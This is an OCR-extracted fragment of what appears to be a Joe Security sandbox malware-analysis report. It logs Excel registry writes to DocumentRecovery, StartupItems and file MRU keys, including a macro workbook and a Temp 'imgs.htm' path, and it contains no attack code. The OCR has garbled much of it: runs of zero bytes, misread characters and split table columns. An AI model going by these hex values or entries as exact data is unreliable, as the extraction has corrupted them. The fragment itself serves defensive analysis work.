00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED9DB binary 04 00 00 00 BC 09 00 00 3A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED9DB 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 44 00 6F 00 63 00 75
00 6D 00 65 00 6E 00 74 00 73 00 5F 00
31 00 36 00 30 00 35 00 39 00 36 00 32
00 30 00 38 00 33 00 5F 00 38 00 39 00
3500 37 00 33 00 39 00 31 00 34 00 39
00 2E 00 78 00 6C 00 73 00 6D 00 00 00
00 00 17 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 44 00 65
00 73 00 6B 00 74 00 6F 00 70 00 5C 00
01 00 00 00 01 00 00 00 A8 40 5E 81 26
2B D7 01 DB D9 OE 00 DB D9 OE 00 00
00 00 00 B8 02 00 00 66 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00
HKEY_CURRENT_USER\Software\Mic w28 binary 77 32 38 00 BC 09 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 92 00 00 00 01 00 00 00 48 00

00 00 3E 00 00 00 64 00 6F 00 63 00 75
00 6D 00 65 00 6E 00 74 00 73 00 5F 00
31 00 36 00 30 00 35 00 39 00 36 00 32
00 30 00 38 00 33 00 5F 00 38 00 39 00
3500 37 00 33 00 39 00 31 00 34 00 39
00 2E 00 78 00 6C 00 73 00 6D 00 00 00
64 00 6F 00 63 00 75 00 6D 00 65 00 6E
00 74 00 73 00 5F 00 31 00 36 00 30 00
3500 39 00 36 00 32 00 30 00 38 00 33
00 5F 00 38 00 39 00 35 00 37 00 33 00
39 00 31 00 34 00 39 00 00 00

Copyright Joe Security LLC 2021 Page 32 of 35



Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F3CF1 binary 04 00 00 00 BC 09 00 00 2A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F3CF1 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 81 09
5990 26 2B D7 01 F1 3C OF 00 F1 3C
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3771420242 xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F3EF4 binary 04 00 00 00 BC 09 00 00 2A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F3EF4 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 81 09
59 90 26 2B D7 01 F4 3E OF 00 F4 3E OF
00 00 00 00 00 B8 02 00 00 56 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
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Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
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